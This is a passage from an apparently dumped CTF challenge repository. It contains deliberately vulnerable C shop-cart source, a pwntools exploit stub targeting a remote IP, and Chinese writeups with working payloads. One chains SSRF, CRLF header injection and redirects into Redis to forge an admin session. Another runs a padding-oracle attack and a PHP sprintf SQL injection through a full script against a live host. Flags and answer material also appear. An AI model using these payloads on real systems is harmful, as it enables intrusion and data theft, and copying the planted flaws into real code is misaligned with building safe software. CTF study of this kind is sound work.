Styles\0",price_low:4.79,price_high:179.99,star:5}, {print:print_item_f, name:"Save on GoSports Giant Toppling Tower with Bonus Rules and more\0",price_low:30.68,price_high:84.98,star:5}, {print:print_item_f, name:"Save on Hodgman Waders, Boots and More\0",price_low:11.90,price_high:91.46,star:4}, {print:print_item_f, name:"Save on Mojo Outdoors Teal Duck Decoy and more\0",price_low:41.31,price_high:123.14,star:4}, {print:print_item_f, name:"Up to 25% off select OTS NFL knits\0",price_low:10.50,price_high:13.50,star:5} }; int isValidEmail(char *pcEmailaddr) { char user[128] = {0}; char site[128] = {0}; if(NULL == pcEmailaddr) { return 0; } sscanf(pcEmailaddr, "%[0-9a-zA-Z-_.]%[@0-9a-zA-Z._]", user,site); if(0 < strlen(user) && 0 < strlen(site) && ((strlen(user) + strlen(site)) == strlen(pcEmailaddr))) { if('@' == site[0]) { return 1; } } return 0; } void add_item_f() { unsigned char choice; struct _item_f *item_t; while (1) { puts("--------------------------------"); for(int i=0;i<(sizeof(item_f)/sizeof(struct _item_f));i++) { printf("[%c] ", 'A'+i); item_f[i].print(&item_f[i]); } puts("--------------------------------"); printf("[n] back\n"); printf("Which sport? "); choice = get_char(); if (choice == 'n') return ; if ((choice - 'A')>=0 && (choice - 'A')<(sizeof(item_f)/sizeof(struct _item_f))) { item_t = malloc(sizeof(struct _item_f)); item_t->print = print_item_f; printf("remark: "); get_str(item_t->mark, 32, '\n'); strncpy(item_t->name,item_f[choice - 'A'].name,strlen(item_f[choice - 'A'].name)); item_t->price_low = item_f[choice - 'A'].price_low; item_t->price_high = item_f[choice - 'A'].price_high; item_t->star = item_f[choice - 'A'].star; item_t->print(item_t);// puts("leave your email?"); item_t->message = get_message(0x40); if (isValidEmail(item_t->message)==0) { puts("Not valid!"); free(item_t->message); } if (check_cart((void *)item_t)==0) { free(item_t->message); free(item_t); } else { cart_total += item_t->price_low; } } } } void items_menu() { puts("--------------------------------"); puts("[a] Books & Audible"); puts("[b] Movies, Music & Games"); puts("[c] Electronics, Computers & Office"); puts("[d] Home, Garden & Tools"); puts("[e] Beauty & Health"); puts("[f] Sports & Outdoors"); puts("--------------------------------"); puts("[n] back"); printf(": "); } void have_a_look() { unsigned char choice; while (1) { items_menu(); choice = get_char(); switch (choice) { case 'a': add_item_a(); break; case 'b': add_item_b(); break; case 'c': add_item_c(); break; case 'd': add_item_d(); break; case 'e': add_item_e(); break; case 'f': add_item_f(); break; case 'n': return ; default: puts("invalid choice !"); break; } } } void remove_an_item() { int found = -1; char buf[32]; printf("Item name to remove? "); get_str(buf, 64, '\n'); for (int i = 0; i < 99; ++i) { if (cart[i] && strcmp(((long *)cart[i]),buf)==0) { printf("$%.2lf\n",(double)(*((double *)cart[i]+24))); cart_total -= (double)(*((double *)cart[i]+24)); cart_count -= 1; free(cart[i]); found = i; } } if (found == -1) { printf("Not found"); } else { cart[found] = 0; puts("remove successfully!"); } } void show_my_cart() { for (int i = 0; i < cart_count; ++i) { if (cart[i]!=0) { (*(void (*)())(*((long *)cart[i]+26)))(cart[i]); } } if (cart_count > 0) printf("Total is $%.2lf\n", cart_total); } void checkSum(unsigned long long cardNum) { int currentDigit; int count = 0; int oddSum = 0; int evenSum = 0; while (cardNum > 0) { currentDigit = cardNum % 10; if (count % 2 == 1){ int doubled = currentDigit * 2; oddSum += doubled / 10 + doubled % 10; } else { evenSum += currentDigit; } count++; cardNum = cardNum / 10; } int total = oddSum + evenSum; if (total % 10 != 0) { printf("INVALID\n"); exit(0); } } /* This part then returns the type of bank this card is from. */ char* findBank(unsigned long long cardNum) { char* bank = ""; do { if (cardNum == 34 || cardNum == 37) { bank = "AMEX"; break; } else if (51 <= cardNum && cardNum <= 55) { bank = "MASTERCARD"; break; } else if (cardNum == 4) { bank = "VISA"; break; } else { bank = "INVALID"; } cardNum = cardNum / 10; } while (cardNum > 0); if(strcmp(bank, "INVALID") == 0){ printf("INVALID\n"); exit(0); } return bank; } int validCardLength(unsigned long long cardNum, char* bank) { int size = 0; while (cardNum > 0) { size ++; cardNum = cardNum / 10; } if (strcmp(bank, "AMEX") == 0){ if (size == 15) printf("%s\n", bank); } else if (strcmp(bank, "MASTERCARD") == 0) { if (size == 16) printf("%s\n", bank); } else if (strcmp(bank, "VISA") == 0) { if (size == 13 || size == 16) printf("%s\n", bank); } else { printf("INVALID\n"); return 0; } return 1; } void have_the_bill() { printf("Number: "); unsigned long long cardNum; scanf("%lld\n", &cardNum); checkSum(cardNum); char* bank = findBank(cardNum); if (validCardLength(cardNum, bank)==0) printf("Not valid card"); } void menu() { puts("======= You can ======="); puts("1. have a look ->"); puts("2. remove an item ->"); puts("3. show my shopping cart ->"); puts("4. have the bill ->"); puts("5. quit ->"); puts("======================="); printf("your choice: "); } void chall_main() { unsigned choice; while (1) { menu(); choice = get_choice(); switch (choice) { case 1: have_a_look(); break; case 2: remove_an_item(); break; case 3: show_my_cart(); break; case 4: have_the_bill(); break; case 5: puts("see you later!"); exit(0); default: puts("invalid choice !"); break; } } } void sigalrm_fn(int sig) { puts("\n[!] bye!"); exit(-1); } void initial() { signal(SIGALRM, sigalrm_fn); alarm(0x10000); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("Welcome to L-T shopping mall!\n"); } int main(int argc, char* argv[]) { initial(); chall_main(); return 0; } ================================================ FILE: src/pwn/shopping/shopping.md ================================================ # shopping 编译: ```shell $ ./clang -O1 shopping.c -mllvm -sub -mllvm -bcf -mllvm -fla -w -o shopping ``` ================================================ FILE: src/pwn/toy/toy_exp.py ================================================ #!/usr/bin/env python2.7 # -*- coding: utf-8 -*- from pwn import * from struct import pack context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'x86-64' context.os = 'linux' context.log_level = 'DEBUG' EXEC = 0x0000555555554000 #io = process("./simple-vm") io = remote("111.231.19.153", 20003) #gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000175B)) #gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000157D)) # call #gdb.attach(io, execute='b *0x%x' % (EXEC+0x0000000000001900)) # debug store_string = lambda reg, leng, s: pack("
``` 看起来是一个GET方式的表单,这里我们传递表单的参数看一下`0:5000?target=http://baidu.com`: ```html

我觉得可以

``` 我们看到返回了内容,在用云服务器试一下`nc -l -p 12345`,输入参数`0:5000?target=http://公网ip:12345`: ```html

timed out

``` 服务器请求timed out,再看服务器: ``` [grt1st@VM_14_12_centos ~]$ nc -l -p 12345 GET / HTTP/1.1 Accept-Encoding: identity Connection: close User-Agent: Python-urllib/3.4 Host: 123.206.60.140:12345 ``` 可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:"0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345",看到服务器端: ``` [grt1st@VM_14_12_centos ~]$ nc -l -p 12345 GET / HTTP/1.1 Accept-Encoding: identity Connection: close User-Agent: Python-urllib/3.4 Host: 123.206.60.140 X-injected: header x-leftover: :12345 ``` 我们成功的进行了http头部注入,可以拿来操纵redis。 那我们怎么通过0:5000打redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。 同样的,在我们的云服务器上,通过flask进行简单的测试: ```python from flask import Flask from flask import redirect from flask import request from flask import render_template app = Flask(__name__) app.debug = True @app.route('/') def test(): return redirect('http://127.0.0.1:80/', 302) if __name__ == '__main__': app.run(host='0.0.0.0') ``` 看到返回: ```html

我觉得可以

``` 那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。 于是根据得到的**源码**,本地搭建环境,并安装[django-redis-sessions](https://github.com/martinrusev/django-redis-sessions)。 先访问本地,之后查看redis储存的键值对。 ``` redis-cli keys * get xxxxxxxxxx ``` 看到返回的字符串像是经过base64后的:`NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==` 尝试解码: ``` ➜ ~ ipython Python 3.6.2 (default, Jul 20 2017, 03:52:27) Type 'copyright', 'credits' or 'license' for more information IPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help. In [1]: import base64 In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==" In [3]: base64.b64decode(a) Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.' ``` 对比网页里的`hello, uesr: 1930ea31e41f0`,我们可以把用户名替换为`administrator`。 于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回`administrator`。于是我们清除cookie,重新启动本地的django并监控redis:`redis-cli monitor`,得到`administrator`的序列化字符串`"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="` 所以我们可以通过http头部注入执行redis命令,创建用户名为`administrator`的键值对。 我们云服务器端的302跳转地址如下:`http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/`,拆开看,即`set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==` 但是这里实际上有一个坑,url太长会报错:`UnicodeError: label empty or too long`,报错的文件在`/usr/lib/pythonx.x/encodings/idna.py`,报错在这里: ``` if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") ``` 所以我们要控制url长度,比如通过`append`来给键加值,基本缩略如`http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379`。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。 本地测试发现,最短的键名为8位字符,比如`h1234567`,于是缩减到`http://0%0d%0aset%20h1234567%20值%0d%0a:6379` 尝试: `http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379`、 `http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379`、 `http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379`、 `http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379`、 `http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379`、 `http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379`、 即可进行拼接,创建文件`flask_poc.py`: ```python from flask import Flask from flask import redirect from flask import request from flask import render_template app = Flask(__name__) app.debug = True @app.route('/redis') def test(): return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302) @app.route('/redis1') def test1(): return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302) @app.route('/redis2') def test2(): return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302) @app.route('/redis3') def test3(): return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302) @app.route('/redis4') def test4(): return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302) @app.route('/redis5') def test5(): return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302) if __name__ == '__main__': app.run(host='0.0.0.0') ``` 本地测试,可以看到: ``` 127.0.0.1:6379> keys * 1) "ubar4t1tpicq8152csdr351pabbkl0a6" 2) "h1234566" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZ" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc" 127.0.0.1:6379> get h1234566 "OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==" ``` 修改本地cookies sessionid的值为`h1234566`,已经成功。 于是我们在网址上分别进行输入`0:5000?target=公网ip/redis`、redis1、2... 然后修改cookies,成功得到flag。 ================================================ FILE: src/web/simple-blog/src/README.md ================================================ ### 题目文件说明 ``` web1.sql //题目的数据库配置,导入完一定要删掉 config.php //题目配置文件 index.php //题目入口 login.php //登录界面 .login.php.swp //登录界面源码泄露文件 admin.php //题目后台 .admin.php.swp //题目后台源码泄露文件 css js img //这三个文件夹都是前端的东西 ``` ### WriteUp 进入题目后可以知道这是一个博客系统,那猜测应该会有后台,扫一下目录或者猜一下可以知道存在`login.php, admin.php`两个文件,访问`admin.php`可以发现有权限控制,访问`login.php`是一个登录界面。 通过尝试可以发现如果随便输入账号密码的话页面返回是`Login failed.`,但是账号密码都输入`admin`的话会跳转到`admin.php`,猜测这里应该是弱口令,只是除了密码以外还有其他的验证方式。 如果扫描字典够强大的话可以扫到`login.php, admin.php`都存在备份文件:`.login.php.swp, .admin.php.swp` 下载备份文件`.login.php.swp`得到源码,源码关键的部分: ``` function get_identity(){ global $id; $token = get_random_token(); $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id'] = base64_encode($c); setcookie("token", base64_encode($token)); if($id==='admin'){ $_SESSION['isadmin'] = 1; }else{ $_SESSION['isadmin'] = 0; } } function test_identity(){ if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); $token = base64_decode($_COOKIE["token"]); if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){ if ($u === 'admin') { $_SESSION['isadmin'] = 1; return 1; } }else{ die("Error!"); } } return 0; } ``` 可以看到在session中也做了身份验证,但是由于加密模式是`aes-128-cbc`,且`$token`在cookie里,可控,所以这里可以进行**Pading Oracle Attack**,通过修改`$token`可以把`$_SESSION['isadmin']`改为1(如果不清楚**Pading Oracle Attack**的原理的话可以看一下我写过的一篇[博客](http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/)),这样就成功登录进了`admin.php`。 通过下载`.admin.php.swp`可以得到`admin.php`的源码,发现里面存在数据库操作 ``` if(isset($_GET['id'])){ $id = mysql_real_escape_string($_GET['id']); if(isset($_GET['title'])){ $title = mysql_real_escape_string($_GET['title']); $title = sprintf("AND title='%s'", $title); }else{ $title = ''; } $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id); $result = mysql_query($sql,$con); $row = mysql_fetch_array($result); if(isset($row['title'])&&isset($row['content'])){ echo "

".$row['title']."


".$row['content']; die(); }else{ die("This article does not exist."); } ``` 乍看之下似乎有`mysql_real_escape_string()`所以无法进行注入,但实际上这里可以利用PHP格式化字符串的漏洞。 在PHP的`sprintf`这个函数中`%\`会被当成一个格式化字符串,如图 ![](https://i.imgur.com/cSXxM1a.jpg) 可以看到`%\`和`%y`一样被当做了一个不存在的类型的格式化字符串,所以输出为空 所以利用这个原理,我们可以传入`title=%' or 1#`,此时因为`mysql_real_escape_string()`的存在单引号前会被加上一个`\`,那么最后拼接到语句里就是 ``` sprintf("SELECT * FROM article WHERE id='%s' AND title='%\' or 1#'", $id); ``` 这样`%`就会吃掉后面的`\`组成一个格式化字符串,单引号就成功逃逸了出来。 但是只是这样的话还是会报错参数不足,因为这条代码里有两个格式化字符串但是只有一个参数。不过PHP的格式化字符串还有另一种表示方法`%1$s`,其中`%`后面的数字就表示引用第几个参数,`$`后面是格式化字符串的类型,如图 ![](https://i.imgur.com/zIM5IBA.jpg) 所以我们传入`title=%1$' or 1#`,经过转义最后拼接到语句里就是 ``` sprintf("SELECT * FROM article WHERE id='%s' AND title='%1$\' or 1#'", $id); ``` 这样title那里引用的也是第一个参数`$id`,就不会报参数不足的错了 具体的原理可以看[这篇文章](https://paper.seebug.org/386/) 所以最终SQL注入的payload就是:`?id=0&title=%251%24'%20union%20select%201%2C2%2C3%23` 整个题目可由一个脚本跑出最终flag: ``` #-*- coding:utf-8 -*- import requests import base64 url = 'http://47.95.219.135:8300/login.php' N = 16 def inject_token(token): cookie = {"token": token} result = s.get(url, cookies = cookie) return result def xor(a, b): return "".join([chr(ord(a[i]) ^ ord(b[i%len(b)])) for i in xrange(len(a))]) def pad(string, N): l = len(string) if l != N: return string + chr(N-l) * (N-l) def padding_oracle(N): get = "" for i in xrange(1, N): for j in xrange(0, 256): padding = xor(get, chr(i) * (i - 1)) c=chr(0) * (16 - i) + chr(j) + padding print c.encode('hex') result = inject_token(base64.b64encode(c)) if "" in result.content: print result.content get = chr(j^i) + get break return get data={'username': "admin", 'password': 'admin'} while 1: s = requests.session() cookies = s.post(url, data = data, allow_redirects = False).headers['Set-Cookie'].split(',') #获得session和token session = cookies[0].split(";")[0][10:] token = cookies[1][6:].replace("%3D",'=').replace("%2F",'/').replace("%2B",'+').decode('base64') middle1 = padding_oracle(N) print "\n" if(len(middle1) + 1 == 16): for i in xrange(0, 256): middle = chr(i) + middle1 #padding_oracle只能得到15位,爆破第一位 print "session: " + session print "token: " + token print "middle: " + base64.b64encode(middle) plaintext = xor(middle, token); print "plaintext: " + plaintext des = pad('admin', N) tmp = "" print "padtext: " + base64.b64encode(des) for i in xrange(16): tmp += chr(ord(token[i]) ^ ord(plaintext[i]) ^ ord(des[i])) print "inject_token: " + base64.b64encode(tmp) result = inject_token(base64.b64encode(tmp)) if "css/login.css" not in result.content: #payload = "%1$' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#" #注表名 #payload = "%1$' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x4b4559#" #注列名 payload = "%1$' union select 1,2,f14g from `key`#" #注字段 params = {'id': '0', 'title': payload} r = s.get("http://47.95.219.135:8300/admin.php", params = params) print r.content print "success" exit() ``` 注入时也有一个小坑,`key`这个表名是MYSQL保留字,我们把它当做表名带入查询时必须用反引号包起来,不然就会报语法错误而返回不了我们想要的结果。 ================================================ FILE: src/web/simple-blog/src/admin.php ================================================ ".$row['title']."
".$row['content']; die(); }else{ die("This article does not exist."); } } ?> adminpage ================================================ FILE: src/web/simple-blog/src/config.php ================================================ ================================================ FILE: src/web/simple-blog/src/css/login.css ================================================ /* NOTE: The styles were added inline because Prefixfree needs access to your styles and they must be inlined if they are on local disk! */ @import url(https://fonts.googleapis.com/css?family=Open+Sans); .btn { display: inline-block; *display: inline; *zoom: 1; padding: 4px 10px 4px; margin-bottom: 0; font-size: 13px; line-height: 18px; color: #333333; text-align: center;text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); vertical-align: middle; background-color: #f5f5f5; background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6); background-image: -ms-linear-gradient(top, #ffffff, #e6e6e6); background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6)); background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6); background-image: -o-linear-gradient(top, #ffffff, #e6e6e6); background-image: linear-gradient(top, #ffffff, #e6e6e6); background-repeat: repeat-x; filter: progid:dximagetransform.microsoft.gradient(startColorstr=#ffffff, endColorstr=#e6e6e6, GradientType=0); border-color: #e6e6e6 #e6e6e6 #e6e6e6; border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); border: 1px solid #e6e6e6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); cursor: pointer; *margin-left: .3em; } .btn:hover, .btn:active, .btn.active, .btn.disabled, .btn[disabled] { background-color: #e6e6e6; } .btn-large { padding: 9px 14px; font-size: 15px; line-height: normal; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; } .btn:hover { color: #333333; text-decoration: none; background-color: #e6e6e6; background-position: 0 -15px; -webkit-transition: background-position 0.1s linear; -moz-transition: background-position 0.1s linear; -ms-transition: background-position 0.1s linear; -o-transition: background-position 0.1s linear; transition: background-position 0.1s linear; } .btn-primary, .btn-primary:hover { text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); color: #ffffff; } .btn-primary.active { color: rgba(255, 255, 255, 0.75); } .btn-primary { background-color: #4a77d4; background-image: -moz-linear-gradient(top, #6eb6de, #4a77d4); background-image: -ms-linear-gradient(top, #6eb6de, #4a77d4); background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#6eb6de), to(#4a77d4)); background-image: -webkit-linear-gradient(top, #6eb6de, #4a77d4); background-image: -o-linear-gradient(top, #6eb6de, #4a77d4); background-image: linear-gradient(top, #6eb6de, #4a77d4); background-repeat: repeat-x; filter: progid:dximagetransform.microsoft.gradient(startColorstr=#6eb6de, endColorstr=#4a77d4, GradientType=0); border: 1px solid #3762bc; text-shadow: 1px 1px 1px rgba(0,0,0,0.4); box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.5); } .btn-primary:hover, .btn-primary:active, .btn-primary.active, .btn-primary.disabled, .btn-primary[disabled] { filter: none; background-color: #4a77d4; } .btn-block { width: 100%; display:block; } * { -webkit-box-sizing:border-box; -moz-box-sizing:border-box; -ms-box-sizing:border-box; -o-box-sizing:border-box; box-sizing:border-box; } html { width: 100%; height:100%; overflow:hidden; } body { width: 100%; height:100%; font-family: \'Open Sans\', sans-serif; background: #092756; background: -moz-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%),-moz-linear-gradient(top, rgba(57,173,219,.25) 0%, rgba(42,60,87,.4) 100%), -moz-linear-gradient(-45deg, #670d10 0%, #092756 100%); background: -webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -webkit-linear-gradient(top, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -webkit-linear-gradient(-45deg, #670d10 0%,#092756 100%); background: -o-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -o-linear-gradient(top, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -o-linear-gradient(-45deg, #670d10 0%,#092756 100%); background: -ms-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), -ms-linear-gradient(top, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), -ms-linear-gradient(-45deg, #670d10 0%,#092756 100%); background: -webkit-radial-gradient(0% 100%, ellipse cover, rgba(104,128,138,.4) 10%,rgba(138,114,76,0) 40%), linear-gradient(to bottom, rgba(57,173,219,.25) 0%,rgba(42,60,87,.4) 100%), linear-gradient(135deg, #670d10 0%,#092756 100%); filter: progid:DXImageTransform.Microsoft.gradient( startColorstr=\'#3E1D6D\', endColorstr=\'#092756\',GradientType=1 ); } .login { position: absolute; top: 50%; left: 50%; margin: -150px 0 0 -150px; width:300px; height:300px; } .login h1 { color: #fff; text-shadow: 0 0 10px rgba(0,0,0,0.3); letter-spacing:1px; text-align:center; } input { width: 100%; margin-bottom: 10px; background: rgba(0,0,0,0.3); border: none; outline: none; padding: 10px; font-size: 13px; color: #fff; text-shadow: 1px 1px 1px rgba(0,0,0,0.3); border: 1px solid rgba(0,0,0,0.3); border-radius: 4px; box-shadow: inset 0 -5px 45px rgba(100,100,100,0.2), 0 1px 1px rgba(255,255,255,0.2); -webkit-transition: box-shadow .5s ease; -moz-transition: box-shadow .5s ease; -o-transition: box-shadow .5s ease; -ms-transition: box-shadow .5s ease; transition: box-shadow .5s ease; } input:focus { box-shadow: inset 0 -5px 45px rgba(100,100,100,0.4), 0 1px 1px rgba(255,255,255,0.2); } ================================================ FILE: src/web/simple-blog/src/index.php ================================================ My blog

Hello,world!

终于写好了自己的博客,开心~
这次不用开源的了,那些黑客肯定日不进来。
樱木雏子

什么辣鸡博客

打脸博主,3分钟就日穿了
Fxxked by godpan.
================================================ FILE: src/web/simple-blog/src/login.php ================================================ Login Form '; } function get_random_token(){ $random_token = ''; $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; for($i = 0; $i < 16; $i++){ $random_token .= substr($str, rand(1, 61), 1); } return $random_token; } function get_identity(){ global $id; $token = get_random_token(); $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id'] = base64_encode($c); setcookie("token", base64_encode($token)); if($id === 'admin'){ $_SESSION['isadmin'] = 1; }else{ $_SESSION['isadmin'] = 0; } } function test_identity(){ if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); $token = base64_decode($_COOKIE["token"]); if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){ if ($u === 'admin') { $_SESSION['isadmin'] = 1; return 1; } }else{ die("Error!"); } } return 0; } if(isset($_POST['username'])&&isset($_POST['password'])){ $username = mysql_real_escape_string($_POST['username']); $password = $_POST['password']; $result = mysql_query("select password from users where username='" . $username . "'", $con); $row = mysql_fetch_array($result); if($row['password'] === md5($password)){ get_identity(); header('location: ./admin.php'); }else{ die('Login failed.'); } }else{ if(test_identity()){ header('location: ./admin.php'); }else{ show_page(); } } ?> ================================================ FILE: src/web/simple-blog/src/web1.sql ================================================ -- MySQL dump 10.13 Distrib 5.5.53, for Win32 (AMD64) -- -- Host: localhost Database: web1 -- ------------------------------------------------------ -- Server version 5.5.53 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `article` -- DROP TABLE IF EXISTS `article`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `article` ( `id` varchar(5) DEFAULT NULL, `title` varchar(25) DEFAULT NULL, `content` varchar(25) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `article` -- LOCK TABLES `article` WRITE; /*!40000 ALTER TABLE `article` DISABLE KEYS */; INSERT INTO `article` VALUES ('1','Welcome to myblog','I wish you a good time.'),('2','Hello,world!','Hello,world!'),('3','This is admin page','Do not do bad things.'); /*!40000 ALTER TABLE `article` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `key` -- DROP TABLE IF EXISTS `key`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `key` ( `f14g` varchar(100) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `key` -- LOCK TABLES `key` WRITE; /*!40000 ALTER TABLE `key` DISABLE KEYS */; INSERT INTO `key` VALUES ('LCTF{H0ly_Sh1t}'); /*!40000 ALTER TABLE `key` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `users` -- DROP TABLE IF EXISTS `users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `users` ( `id` varchar(5) DEFAULT NULL, `username` varchar(15) DEFAULT NULL, `password` varchar(32) DEFAULT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `users` -- LOCK TABLES `users` WRITE; /*!40000 ALTER TABLE `users` DISABLE KEYS */; INSERT INTO `users` VALUES 